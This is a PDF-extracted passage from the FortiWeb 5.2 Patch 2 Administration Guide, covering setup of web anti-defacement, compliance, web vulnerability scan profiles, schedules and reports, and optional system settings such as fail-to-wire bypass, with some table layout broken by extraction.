This feature can be especially useful if you are a hosting provider with many customers, such as favorite local restaurants or community associations, who have basic web pages that should not be changed, but it is impractical to manually monitor them on a continuous basis.
Anti-defacement backs up web pages only, not databases.
Content that will not be backed up includes all database-driven content that is inserted into web pages using AJAX, PHP, JSP, ASP, or ColdFusion, such as bulletin boards, forums, blogs, and shopping carts: page content does not reside within the page markup itself, but instead resides in a back-end database that is queried and whose results are dynamically inserted into page content at runtime when the client requests a page. Separately from configuring anti-defacement, you should regularly back up MySQL, Oracle, PostgreSQL, and other databases and defend them with controls such as FortiDB .
The anti-defacement feature examines a web site’s files for changes at specified time intervals.
If it detects a change that could indicate a defacement attack, the FortiWeb appliance can notify you and quickly react by automatically restoring the web site contents to the previous backup.
Before updating a web site where you are using web site anti-defacement, disable both the
Enable Monitor and Restore Changed Files Automatically options. Otherwise, the FortiWeb appliance will perceive your changes as a defacement attempt and undo them.
Fortinet 526 FortiWeb 5.2 Patch 2 Administration Guide
To configure anti-defacement
1. Go to Web Anti-Defacement > Web Anti-Defacement > Web Site with Anti-Defacement.
Field
Monitor
Connected
Description
Indicates whether or not anti-defacement is currently enabled for the web site.
•
Green icon
— Anti-defacement is enabled.
•
Flashing yellow-to-red icon
— Anti-defacement is off because the
Enable Monitor option is disabled.
Indicates the connection results of the FortiWeb appliance’s most recent attempt to connect to the web site’s server.
•
Green check mark icon
— The connection was successful.
•
Red X mark icon
— The FortiWeb appliance was unable to connect.
Verify the IP address/FQDN and login credentials of your anti-defacement configuration. If these are valid, verify that connectivity has not been interrupted by dislodged cables, routers, or firewalls.
Displays the total number of files on the web site.
Total Files
Total Backup
Displays the total number of files that have been backed up onto the
FortiWeb appliance for recovery purposes. Those files that you choose not to monitor will not be backed up.
Total Changed
Displays the total number of files that have changed.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Anti-Defacement Management category. For
details, see “Permissions” on page 52
.
2. Click Create New.
Alternatively, click an entry to view its contents, then click the Edit button.
A dialog appears.
Fortinet 527 FortiWeb 5.2 Patch 2 Administration Guide
3. Configure these settings:
Fortinet
Setting name Description
Web Site Name Type a name for the web site. This name is not used when monitoring the web site. It does not need to be the web site’s FQDN or virtual host name.
Description
Enter a comment. up to 63 characters long. This field is optional.
Enable Monitor Enable to monitor the web site’s files for changes, and to download backup revisions that can be used to revert the web site to its previous revision if the FortiWeb appliance detects a change attempt.
Hostname/IP
Address
Note:
While you are intentionally modifying the web site, you must turn off this option and Restore Changed Files Automatically. Otherwise, the
FortiWeb appliance will detect your changes as a defacement attempt, and undo them.
Type the IP address or FQDN of the web server on which the web site is hosted.
This will be used when connecting by SSH or FTP to the web site to monitor its contents and download backup revisions, and therefore could be different from the host name that may appear in the Host: field of
HTTP headers.
Connection
Type
For example, clients might connect to the public DNS name www.example.com, while FortiWeb would connect using the web server’s private network IP address, 192.168.1.1.
Select which protocol (FTP, SSH, or Windows Share) to use when connecting to the web site in order to monitor its contents and download web site backups.
FTP/SSH Port
Enter the TCP port number on which the web site’s real server listens.
The standard port number for FTP is 21; the standard port number for
SSH is 22.
Windows
Share Name
This field appears only if
Connection Type
is FTP or SSH.
Type the name of the shared folder on the web server, such as Share. Do not include the CIFS host name or workgroup name.
This field appears only if
Connection Type
is Windows Share.
528 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Folder of Web
Site
Type the path to the web site’s folder, such as public_html or wwwroot
, on the real server. The path is relative to the initial location when logging in with the user name that you specify in
.
User Name
Password
Alert Email
Address
Monitor
Interval for
Root Folder
This field appears only if
Connection Type
is FTP or SSH.
Enter the user name, such as FortiWeb, that the FortiWeb appliance will use to log in to the web site’s real server.
Enter the password for the user name you entered in
.
From the drop-down list, select existing email settings that contains one or more recipient email addresses (MAIL TO:) to which the FortiWeb appliance will send an email when it detects that the web site has changed.
Enter the time interval in seconds between each monitoring connection from the FortiWeb appliance to the web server. During this connection, the FortiWeb appliance examines
Folder of Web Site
(but not its subfolders) to see if any files have changed by comparing the files with the latest backup.
Monitor
Interval for
Other Folder
Maximum
Depth of
Monitored
Folders
Skip Files
Larger Than
If it detects any file changes, the FortiWeb appliance will download a new backup revision. If you have enabled
Restore Changed Files
Automatically
, the FortiWeb appliance will revert the files to their previous version.
For details, see “Reverting a defaced web site” on page 531
.
Enter the time interval in seconds between each monitoring connection from the FortiWeb appliance to the web server. During this connection, the FortiWeb appliance examines subfolders to see if any files have been changed by comparing the files with the latest backup.
If any file change is detected, the FortiWeb appliance will download a new backup revision. If you have enabled
Restore Changed Files
Automatically
, the FortiWeb appliance will revert the files to their previous version.
For details, see “Reverting a defaced web site” on page 531
.
Type how many folder levels deep to monitor for changes to the web site’s files.
Files in subfolders deeper than this level will not be backed up.
Type a file size limit in kilobytes (KB) to indicate which files will be included in the web site backup. Files exceeding this size will not be backed up. The default file size limit is 10 240 KB.
Note:
Backing up large files can impact performance.
529 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Skip Files With
These
Extensions
Type zero or more file extensions, such as iso, avi, to exclude from the web site backup. Separate each file extension with a comma.
Note:
Backing up large files, such as video and audio, can impact performance.
Restore
Changed Files
Automatically
Enable to automatically restore the web site to the previous revision number when it detects that the web site has been changed.
Disable to do nothing. In this case, you must manually restore the web site to a previous revision when the FortiWeb appliance detects that the
web site has been changed. See “Reverting a defaced web site” on page 531 .
Note:
While you are intentionally modifying the web site, you must turn off this option and Enable Monitor. Otherwise, the FortiWeb appliance will detect your changes as a defacement attempt, and undo them.
Note:
FortiWeb does not restore your back-end database, if any. If the web site has been defaced using SQL injection or similar attacks and its database-driven content has been affected, even if this option is enabled, you will need to manually restore the database.
4. Click Test Connection to test the connection between the FortiWeb appliance and the web server.
5. Click OK.
During the next interval, FortiWeb should connect to download its first backup. You should notice that
Connected
should become and remain a green check mark.
If not, first verify the login and IP address that you provided. Also, on the web server, check the file system permissions for the account that FortiWeb is using to connect. (FortiWeb must be able to both read and, if it will be restoring files, write to the folder and files. On
Microsoft Windows, you may need to examine your security policy configuration to make sure that the account is authenticating as itself, and is not degrading to the guest account.)
Verify that a route exists between the FortiWeb and the web server, and that connectivity is reliable, with no packet loss. Also verify that any routers or firewalls between them, including
Windows Firewall, are not blocking SSH, FTP, or CIFS connections. Other troubleshooting varies by the protocol that FortiWeb is using to connect, such as checking for a compatible protocol version and cipher suite.
See also
•
•
530 FortiWeb 5.2 Patch 2 Administration Guide
Reverting a defaced web site
When you configure a FortiWeb appliance to protect a web site via anti-defacement, FortiWeb periodically downloads a backup copy of that web site’s files automatically. It creates a new backup revision in the following cases:
• When the FortiWeb appliance initiates monitoring for the first time, the FortiWeb appliance will download a backup copy of the web site’s files and store it as the first revision.
Backup copies will omit files exceeding the file size limit and/or matching the file extensions that you have configured the FortiWeb appliance to omit. See
.
• If the FortiWeb appliance could not successfully connect during a monitor interval, it will create a new revision the next time that it re-establishes the connection.
If you choose not to enable
Restore Changed Files Automatically
, you can still manually revert the defaced web site after a defacement attack to any known good backup revision that the
FortiWeb appliance has downloaded.
To revert a web site to a backup revision
1. Go to Web Anti-Defacement > Web Anti-Defacement > Web Site with Anti-Defacement.
2. Mark the check box next to the web site you want to revert, click the Revert icon.
A dialog appears, listing previous site backup copies.
3. In the row corresponding to the copy that you want to restore, click the Revert to this time icon.
The FortiWeb appliance connects to the web server and replaces defaced files from the revision you selected.
4. Click OK.
Fortinet 531 FortiWeb 5.2 Patch 2 Administration Guide
Compliance
Compliance regimes, whether requires by law or business organizations, typically require that you demonstrate effective security policies and practices.
Requirements vary by the regime. HIPAA and the Sarbanes-Oxley Act (SOX) emphasize the need for database security, authorization, and the prevention of data leaks. HITECH requires disclosure of security breaches. PCI DSS concerns the prevention of information disclosure but also requires periodic scans.
Database security
As the front door to your databases, your web sites are critical to secure. FortiWeb can help to apply ad hoc security to them by properly constraining web inputs of all kinds, and by preventing data leaks in your web applications’ reply traffic.
If your database has other avenues for input, however, that back door may still be open to attack. Consider a database security specialist such as FortiDB .
Authorization
To ensure that only authenticated individuals can access your web sites, and only for the URLS that they are authorized for, you can use FortiWeb to add PKI authentication and/or HTTP authorization.
For instructions, see “How to apply PKI client authentication (personal certificates)” on page 310
and “Offloading HTTP authentication & authorization” on page 234 .
Preventing data leaks
Large companies and organizations often have large stores of personally identifiable information that is valuable on the black market. Often this takes the form of credit card numbers and passwords, but could also be more specialized information such as:
• addresses and names of your business’s clients
• students’ names and ages
• email addresses
• IT information on your organization’s computers and their vulnerabilities
To detect and block accidental data leaks from your web pages, or mitigate an attack that has managed to evade security and is attempting to harvest your databases, you can configure
FortiWeb to detect and block those types of data. For instructions, see
.
If even your logs must not contain sensitive information, you can configure FortiWeb to omit it.
See
“Obscuring sensitive data in the logs” on page 583 .
Fortinet 532 FortiWeb 5.2 Patch 2 Administration Guide
Vulnerability scans
You can scan for known vulnerabilities on your web servers and web applications, helping you to design protection profiles that are an effective and efficient use of processing resources.
Vulnerability reports from a certified vendor can help you comply with regulations and certifications that require periodic vulnerability scans, such as Payment Card Industry Data
Security Standard (PCI DSS).
Run vulnerability scans during initial FortiWeb deployment (see
be required by your compliance regime to provide reports on a periodic basis, such as quarterly.
Each vulnerability scan starts from an initial URL, authenticates if set up to do so, then scans for vulnerabilities in web pages that it crawls to from links on the initial page. After performing the scan, the FortiWeb appliance generates a report from the scan results.
Create and run web vulnerability scans early in the configuration of your FortiWeb appliance.
Use the reports to locate vulnerabilities and fine-tune your protection settings.
If you have many web servers, you may want a FortiScan appliance to:
• deepen vulnerability scans
• integrate patch deployment
• prioritize and track fixes via ticketing
• offload and distribute scans to improve performance and remove bottlenecks
To run a web vulnerability scan
1. Optionally, configure email settings. Email settings included in vulnerability scan profiles cause FortiWeb to email scan reports (see
“Configuring email settings” on page 608 ).
3. Create a scan schedule, unless you plan to execute the scan manually. The schedule defines the frequency the scan will be run (see
“Scheduling web vulnerability scans” on page 535
).
4. Create a scan profile. The profile defines which vulnerabilities to scan for (see
“Configuring vulnerability scan settings” on page 536 ).
).
6. Either start the vulnerability scan manually (see
7. Examine vulnerability scan report. The report provides details and analysis of the scan
results (see “Viewing vulnerability scan reports” on page 545 ).
Fortinet 533 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
Preparing for the vulnerability scan
•
•
Configuring vulnerability scan settings
•
Scheduling web vulnerability scans
•
Viewing vulnerability scan reports
•
Preparing for the vulnerability scan
For best results, before running a vulnerability scan, you should prepare the network and target hosts for the vulnerability scan.
Live web sites
Fortinet strongly recommends that you do not scan for vulnerabilities on live web sites. Instead, duplicate the web site and its database in a test environment such as a staging server and perform the scan in that environment. For more information, see “Scan Mode” on page 538 .
Network accessibility
You may need to configure each target host and any intermediary NAT or firewalls to allow the vulnerability scan to reach the target hosts.
Traffic load & scheduling
You should talk to the owners of target hosts to determine an appropriate time to run the vulnerability scan. You can even schedule in advance the time that the FortiWeb will begin the scan.
For example, you might schedule to avoid peak traffic hours, to restrict unrelated network access, and to ensure that the target hosts will not be powered off during the vulnerability scan.
To determine the current traffic load, see “Real Time Monitor widget” on page 567 . For
scheduling information, see “Scheduling web vulnerability scans” on page 535
.
Rapid access can result in degraded network performance during the scan. If you do not rate limit the vulnerability scan, some web servers could perceive its rapid rate of requests as a denial of service (DoS) attack. You may need to configure the web server to omit rate limiting for connections originating from the IP address of the FortiWeb appliance. Alternatively, you can configure the vulnerability scan to send requests more slowly. See “Delay Between Each
Request” on page 539 .
See also
•
Configuring vulnerability scan settings
•
Scheduling web vulnerability scans
•
•
Manually starting & stopping a vulnerability scan
•
Viewing vulnerability scan reports
534 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Scheduling web vulnerability scans
Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Schedule enables you to configure vulnerability scan schedules.
A vulnerability scan schedule defines when the scan will automatically begin, and whether the scan is a one-time or periodically recurring event.
To configure a vulnerability scan schedule
1. Go to Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Schedule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Vulnerability Scan Configuration category.
For details, see
2. Click Create New.
A dialog appears.
3. Configure these settings:
Setting name
Name
Type
Time
Date
Day
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Select the type of schedule:
• One Time — Run the vulnerability scan once.
• Recurring — Run the vulnerability scan periodically.
Select the time of day to run the scan.
Select the date to run the scan.
This setting is available only if
is One Time.
Select the days of the week to run the scan.
This setting is available only if
is Recurring.
4. Click OK.
).
535 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Preparing for the vulnerability scan
•
Configuring vulnerability scan settings
•
•
Manually starting & stopping a vulnerability scan
•
Viewing vulnerability scan reports
Configuring vulnerability scan settings
Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Profile enables you to configure vulnerability scan profiles.
A vulnerability scan profile defines a web server that you want to scan, as well as the specific vulnerabilities to scan for. Vulnerability scan profiles are used by vulnerability scan policies, which determine when to perform the scan and how to publish the results of the scan defined by the profile.
To configure a vulnerability scan profile
1. If FortiWeb must authenticate in order to reach all URLs that will be involved in the vulnerability scan, configure the web application (if it provides form-based authentication) with an account that FortiWeb can use to log in.
For best results, the account should have permissions to all functionality used by the web site.
If URLs and inputs vary by account type, you may need to create multiple accounts — one for each non-overlapping set — and run separate vulnerability scans for each account.
2. Go to Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Profile.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Vulnerability Scan Configuration category.
For details, see
3. Click Create New.
A dialog appears.
Fortinet 536 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet
Setting name Description
Name
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Hostname/IP or
URL
Type the fully qualified domain name (FQDN), IP address, or full
URL to indicate which directory of the web site you want to scan.
Behavior of the scan varies by the type of the entry:
• A FQDN/IP such as www.example.com. Assume HTTP and scan the entire web site located on this host.
• A partial URL such as https://webmail.example.com/dir1/. Use the protocol specified in the URL, and scan the web pages located in this directory of the web site. Other directories will be ignored.
• A full URL such as http://example.com/dir1/start.jsp. Use the protocol specified in the URL, starting from the web page in the
URL, and scan all local URLs reachable via links from this web page that are located within the same subdirectory.
Links to external web sites and redirects using HTTP 301 Moved
Permanently
or 302 Moved Temporarily or Found will not be followed.
Unless you will enter an IP address for the host, you must have configured a DNS server that the FortiWeb appliance can use to query for the FQDN. For details, see
“Configuring DNS settings” on page 139 .
Note:
This starting point for the scan can be overridden if the web server automatically redirects the request after authentication. See
Login with HTTP Authentication
and
Login with specified
URL/data
.
537 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Scan
Enable detection of any of the following vulnerabilities that you want to include in the scan report:
• Common Web Server Vulnerability (outdated software and software with known memory leaks, buffer overflows, and other problems)
• XSS (Cross-site Scripting)
•
SQL Injection
• Source-code Disclosure
• OS Commanding
Scan Mode
Select whether the scan job will use Basic Mode (use HTTP GET only and omit both user-defined and predefined sensitive URLs) or
Enhanced Mode (use both HTTP POST and GET, excluding only user-defined URLs).
Also configure
Exclude scanning following URLs
.
Basic Mode will avoid alterations to the web site’s databases, but
only if all inputs always uses POST requests. It also omits testing of the following URLs, which could be sensitive:
• /formathd
• /formatdisk
• /shutdown
• /restart
• /reboot
• /reset
Caution:
Fortinet strongly recommends that you do not scan for vulnerabilities on live web sites, even if you use Basic Mode.
Instead, duplicate the web site and its database into a test environment, and then use Enhanced Mode with that test environment.
Basic Mode cannot be guaranteed to be non-destructive. Many web sites accept input through HTTP GET requests, and so it is possible that a vulnerability scan could result in database changes, even though it does not use POST. In addition, Basic Mode cannot test for vulnerabilities that are only discoverable through POST, and therefore may not find all vulnerabilities.
538 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Request
Timeout
Type the number of seconds for the vulnerability scanner to wait for a response from the web site before it assumes that the request will not successfully complete, and continues with the next request in the scan. It will not retry requests that time out.
Delay Between
Each Request
Type the number of seconds to wait between each request.
Some web servers may rate limit the number of requests, or blacklist clients that issue continuous requests and therefore appear to be a web site harvester or denial of service (DoS) attacker. Introducing a delay can be useful to prevent the vulnerability scanner from being blacklisted or rate limited, and therefore slow or unable to complete its scan.
Note:
Increasing the delay will increase the time required to complete the scan.
5. Click Login Option’s blue arrow to expand the section, then configure the following:
Setting name
Login with HTTP
Authentication
User
Password
Description
Enable to use basic HTTP authentication if the web server returns HTTP 401 Unauthorized to request authorization.
Also configure
User
and
Password
.
Alternatively, configure
Login with specified URL/data
.
After authentication, if the web server redirects the request
(HTTP 302), the FortiWeb appliance will use this new web page as its starting point for the scan, replacing the URL that you configured in
Hostname/IP or URL
.
Note:
If a web site requires authentication and you do not configure the vulnerability scan to authenticate, the scan results will be incomplete.
Type the user name to provide to the web site if it requests
HTTP authentication.
Type the password corresponding to the user name.
539 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Login with specified
URL/data
Description
Enable to authenticate if the web server does not use HTTP
401 Authorization Required
, but instead provides a web page with a form that allows the user to authenticate using HTTP POST. Also configure
Authenticate URL
and
Authenticate Data
.
After authentication, if the web server redirects the request
(HTTP 302 Found), the FortiWeb appliance will use this new web page as its starting point for the scan, replacing the URL that you configured in
Hostname/IP or URL
.
Note:
If a web site requires authentication and you do not configure it, the scan results will be incomplete.
Authenticate URL
Type the URL, such as /login.jsp, that the vulnerability scan will use to authenticate with the web application before beginning the scan.
Authenticate Data Type the parameters, such as userid=admin&password=Re2b8WyUI
, that will be accompany the HTTP POST request to the authentication
URL, and contains the values necessary to authenticate.
Typically, this string will include user name and password parameters, but may contain other variables, depending on the web application.
Fortinet 540 FortiWeb 5.2 Patch 2 Administration Guide
6. Click Scan Web Site URLs Option’s blue arrow to expand the section, then configure the following:
Fortinet
Setting name
Crawl entire website automatically
Description
Select this option to automatically follow links leading from the initial starting point that you configured in
Hostname/IP or URL
. The vulnerability scanner will stop following links when it has scanned the number of URLs configured in
Crawl URLs Limit
.
Alternatively, select
Specify URLs for scanning
.
Crawl URLs Limit
Type the maximum number of URLs to scan for vulnerabilities while automatically crawling links leading from the initial starting point.
Specify URLs for scanning
Note:
The actual number of URLs scanned could exceed this limit if the vulnerability scanner reaches the limit but has not yet finished crawling all links on a page that it has already started to scan.
Select this option to manually specify which URLs to scan, such as /login.do, rather than having the vulnerability scanner automatically crawl the web site. Enter each URL on a separate line in the text box.
Exclude scanning following URLs
You can enter up to 10,000 URLs.
Enable to exclude specific URLs, such as /addItem.cfm, from the vulnerability scan. Enter each URL on a separate line in the text box.
This may be useful to accelerate the scan if you know that some URLs do not need scanning. It could also be useful if you are scanning a live web site and wish to prevent the scanner from inadvertently adding information to your databases.
You can enter up to 1,000 URLs.
7. Click OK.
).
541 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Preparing for the vulnerability scan
•
Scheduling web vulnerability scans
•
Manually starting & stopping a vulnerability scan
•
Viewing vulnerability scan reports
Running vulnerability scans
In order to run a vulnerability scan, you must apply a schedule (if any) to a profile of settings, as well as providing a few additional details.
A vulnerability scan policy defines the scheduling type of scan (an immediate scan or a scheduled scan), the profile to use, the file format of the report, and recipients.
To configure a web vulnerability scan policy
1. Configure a vulnerability scan profile. See
“Configuring vulnerability scan settings” on page 536
.
2. If the scan will run by a schedule instead of being manually initiated, create a vulnerability
scan schedule. See “Scheduling web vulnerability scans” on page 535
.
3. Go to Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Scan Policy.
Fortinet
Field
Status
Start/Stop
Status
Start/Stop
Description
Indicates whether the scan is idle (the status indicator is solid green) or running (the status indicator is flashing red and yellow).
The Start/Stop icon appears only if the policy is configured as Run
Now. If so, the icon changes depending on the current status of the scan:
• Stop — The scan associated with the policy is in progress.
• Start — The scan associated with the policy is not in progress.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Vulnerability Scan Configuration category.
For details, see
4. Click Create New.
A dialog appears.
542 FortiWeb 5.2 Patch 2 Administration Guide
5. Configure these settings:
Fortinet
Setting name Description
Name
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Type
Select the scheduling type, either:
• Run Now — The scan can be manually started at any time by
the user. See “Manually starting & stopping a vulnerability scan” on page 544 .
• Schedule — The scan is performed according to the schedule defined in
Schedule
Profile
Select the predefined schedule to use for the scan. See
“Scheduling web vulnerability scans” on page 535 .
This option appears only if the
Select the profile to use when running the vulnerability scan. See
“Configuring vulnerability scan settings” on page 536 .
Report Format
Enable one or more file formats for the vulnerability scan report:
• HTML
• MHT (MIME HTML, which can be included in email)
• RTF (Rich Text Format, which can be opened in word processors such as OpenOffice or Microsoft Word)
• TXT (plain text)
Select the email settings, if any, to use in order to send results of the vulnerability scan. See
“Configuring email settings” on page 608 .
6. Click OK.
If
is Run Now, the scan begins immediately. Otherwise, it will being at the time that you configured in
. Time required varies by the network speed and traffic volume, load of the target hosts (especially the number of request timeouts), and your configuration of
Delay Between Each Request
.
When the scan is complete, FortiWeb generates a report based on the scan results. See
“Viewing vulnerability scan reports” on page 545 .
543 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Preparing for the vulnerability scan
•
Configuring vulnerability scan settings
•
Scheduling web vulnerability scans
•
Manually starting & stopping a vulnerability scan
Manually starting & stopping a vulnerability scan
If the schedule type associated with the vulnerability scan policy is set to Run Now, You can manually start and stop a scan. (You cannot manually start a scan that is scheduled.)
To manually start a scan
1. Go to Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Scan Policy.
2. Locate a vulnerability scan whose Schedule column says Run Now and whose status indicator is green (idle).
You cannot manually start a scan that has been scheduled in advance, or that is currently in progress.
Fortinet
Status
Start/Stop
3. In the row for that vulnerability scan, click the Start icon.
FortiWeb connects to the target host configured in the profile and, if enabled to do so, authenticates. The status indicator flashes red and yellow while the scan is running.
When the scan is finished the status indicator returns to green (idle).
A summary of scan results appears in the section hidden by the blue expansion arrow. To reveal them, click the arrow.
You can view and/or download the full scan report via the web UI (see
“Viewing vulnerability scan reports” on page 545
and
“Downloading vulnerability scan reports” on page 547
). If email settings were selected in the scan, a scan report is also delivered to its recipients.
To stop a scan
1. Go to Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Scan Policy.
2. Locate a vulnerability scan whose status indicator is flashing red and yellow, indicating that the scan is running.
3. In the row for that vulnerability scan, click the Stop icon.
The vulnerability scan stops. The status indicator returns to green (idle). You can In the Name column, you can click the blue expansion arrow to view a summary of the scan results to the point where you stopped the scan.
544 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Preparing for the vulnerability scan
•
Configuring vulnerability scan settings
•
Scheduling web vulnerability scans
•
•
Viewing vulnerability scan reports
Viewing vulnerability scan reports
After a web vulnerability scan completes, the FortiWeb appliance generates a report summarizing and analyzing the results of the scan. If you configured it to email the report to you when complete, you may receive the report in your inbox. However, you can also view and download it through the web UI.
To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to items in the Web Vulnerability Scan Configuration category. For details, see
Fortinet 545 FortiWeb 5.2 Patch 2 Administration Guide
Table 44: Web Vulnerability Scan > Web Vulnerability Scan > Scan History
Field
View
Download
Target Server
URLs Found
Alerts Found
Scan Time
Scan Mode
Description
Click to view a scan report. See
“Downloading vulnerability scan reports” on page 547 .
Click to download a copy of a scan report. See “Downloading vulnerability scan reports” on page 547
Displays the host name of the server that was scanned for vulnerabilities. Click this link to view the scan report associated with this server.
Displays the number of URLs on the target host that were scanned for vulnerabilities.
Displays the total number of vulnerabilities discovered during the scan.
Displays the date and time that the scan was performed.
Indicates whether the scan job used Basic Mode (use HTTP GET only and omit both user-defined and predefined sensitive URLs) or
Enhanced Mode (use both HTTP POST and GET, excluding only user-defined URLs).
Scan report contents
The web vulnerability scan report is divided into sections for a summary, discovered vulnerabilities and affected URLs.
Fortinet 546 FortiWeb 5.2 Patch 2 Administration Guide
Figure 54:Viewing a vulnerability report http://www.example.com/
See also
•
Preparing for the vulnerability scan
•
Configuring vulnerability scan settings
•
•
Scheduling web vulnerability scans
•
Manually starting & stopping a vulnerability scan
Downloading vulnerability scan reports
The report contents are the same when using the Download or View feature, though the presentation varies.
To download a scan report
1. Go to Web Vulnerability Scan > Web Vulnerability Scan > Scan History.
2. Mark the check box next to the scan report that you want to download.
Fortinet
3. Click Download.
A dialog appears.
4. Click Download Report File.
A file download prompt appears.
5. Click Save.
547 FortiWeb 5.2 Patch 2 Administration Guide
6. If prompted, select the location on your computer to store the HTML report.
See also
•
Preparing for the vulnerability scan
•
Configuring vulnerability scan settings
•
•
Scheduling web vulnerability scans
•
Manually starting & stopping a vulnerability scan
•
Viewing vulnerability scan reports
Fortinet 548 FortiWeb 5.2 Patch 2 Administration Guide
Advanced/optional system settings
The System menu configures a variety of settings that apply to the entire FortiWeb appliance.
Many system settings must be configured during the initial installation. This section only
contains optional settings that can be configured later. For required system settings, see
the appropriate section of “How to set up your FortiWeb” on page 65 .
Changing the FortiWeb appliance’s host name
The host name of the FortiWeb appliance is used in several places.
• The name appears in the System Information widget on System > Status > Status. For more
information about the System Information widget, see “System Information widget” on page 558
.
• It is used in the command prompt of the CLI.
• It is used as the SNMP system name. For information about SNMP, see
“SNMP traps & queries” on page 612 .
The System Information widget and the get system status CLI command display the full host name. If the host name is longer than 16 characters, the name may be truncated and end with a tilde ( ~ ) to indicate that additional characters exist, but are not displayed.
For example, if the host name is FortiWeb1234567890, the CLI prompt would be
FortiWeb123456789~#.
Administrators whose access profiles permit Write access to items in the System Configuration category can change the host name.
You can also configure the local domain name of the FortiWeb appliance. For details, see
“Configuring DNS settings” on page 139 .
Fortinet
To change the host name of the FortiWeb appliance
1. Go to System > Status > Status.
2. In the System Information widget, in the Host Name row, click Change.
3. In the New Name field, type a new host name.
The host name can be up to 35 characters in length. It can include US-ASCII letters, numbers, hyphens, and underscores, but not spaces and special characters.
4. Click OK.
See also
•
549 FortiWeb 5.2 Patch 2 Administration Guide
Fail-to-wire for power loss/reboots
If your appliance’s hardware model, network cabling, and configuration supports it, you can configure fail-to-wire/bypass behavior. This allows traffic to pass through unfiltered between 2 ports (a link pair) while the FortiWeb appliance is shut down, rebooting, or has unexpectedly lost power such as due to being accidentally unplugged or PSU failure.
Fail-open is supported only:
• in true transparent proxy mode or transparent inspection operation mode
• in standalone mode (not HA)
• for a bridge (V-zone) between ports wired to a CP7 processor or other hardware which provides support for fail-to-wire
• FortiWeb 1000C: port3 + port4
• FortiWeb 3000C/D: port5 + port6
• FortiWeb 4000C/D: port5 + port6 or port7 + port8
• FortiWeb 3000CFsx/DFsx: port5 + port6 or port7 + port8
FortiWeb-400B/400C, FortiWeb HA clusters, and ports not wired to a CP7/fail-open chip do not support fail-to-wire.
In the case of HA, don’t use fail-open — instead, use a standby HA appliance to provide full fault tolerance.
Bypass results in degraded security while FortiWeb is shut down, and therefore HA is usually a better solution: it ensures that degraded security does not occur if one of the appliances is shut down. If it is possible that both of your HA FortiWeb appliance could simultaneously lose power, you can add an external bypass device such as FortiBridge .
Fail-to-wire may be useful if you are required by contract to provide uninterrupted connectivity, or if you consider connectivity interruption to be a greater risk than being open to attack during the power interruption.
Aside from the usual network topology requirements for the transparent operation modes, there are no special requirements for fail-to-wire. During setup, after setting the operation mode, you will simply go to System > Network > Fail-open then select either:
• PowerOff-Bypass — Behave as a wire when the FortiWeb appliance is powered off, allowing connections to pass directly through from one port to the other, bypassing all policy scans and modifications.
• PowerOff-Cutoff — Interrupt connectivity when the FortiWeb appliance is powered off.
Bypass is disabled. This is the default.
Fortinet 550 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Topology for either of the transparent modes
•
•
Configuring a high availability (HA) FortiWeb cluster
Advanced settings
Several system-wide options that determine how FortiWeb scans traffic and caches server responses are configurable on System > Config > Advanced.
You can also configure the size of FortiWeb’s scan buffers. For details, see config system advanced
in the
FortiWeb CLI Reference
.
Table 45: System > Config > Advanced
Fortinet 551 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting Name
Shared IP
Description
Enable to analyze the identification (ID) field in IP packet headers in order to distinguish source IP addresses that are actually Internet connections
shared by multiple clients, not single clients. For an example, see “Example:
Setting a separate rate limit for shared Internet connections” on page 553 .
You can configure the ID difference threshold that triggers shared IP detection. For details, see config system ip-detection in the
FortiWeb CLI Reference
.
Note: The shared IP address rate limit for some features (see
“Preventing brute force logins” on page 375
and “Limiting the total HTTP request rate from an IP” on page 357
) will be ignored unless you enable this option.
Tip: To improve performance and reduce memory consumption, if all source
IP addresses should receive the same rate limit regardless of the number of clients sharing each connection, disable this option.
Recursive URL
Decoding
Enable to detect URL-embedded attacks that are obfuscated using recursive URL encoding (that is, multiple levels’ worth of URL encoding).
Encoded URLs can be legitimately used for non-English URLs, but can also be used to avoid detection of attacks that use special characters. FortiWeb can decode encoded URLs to scan for these types of attacks. Several encoding types are supported, including IIS-specific Unicode encoding.
For example, you could detect the character A that is encoded as either
%41
, %x41, %u0041, or \t41.
Disable to decode only one level, if the URL is encoded.
Maximum Body
Cache Size
Type the maximum size in kilobytes (KB) of the body of the HTTP response from the web server that FortiWeb will cache per URL.
Responses are cached to improve performance on compression, decompression, and rewriting on often-requested URLs.
Valid values range from 32 to 1,024. The default value is 64.
Maximum DLP
Cache Size
Type the maximum size in kilobytes (KB) of the body of the HTTP response from the web server that FortiWeb will buffer and scan for data leak protection (DLP).
Responses are cached to improve performance on compression, decompression, and rewriting on often-requested URLs.
Valid values vary by
552 FortiWeb 5.2 Patch 2 Administration Guide
Setting Name Description
Disable
Client-Initiated
SSL
Renegotiation
Enable to prevent client-initiated SSL/TLS renegotiation.
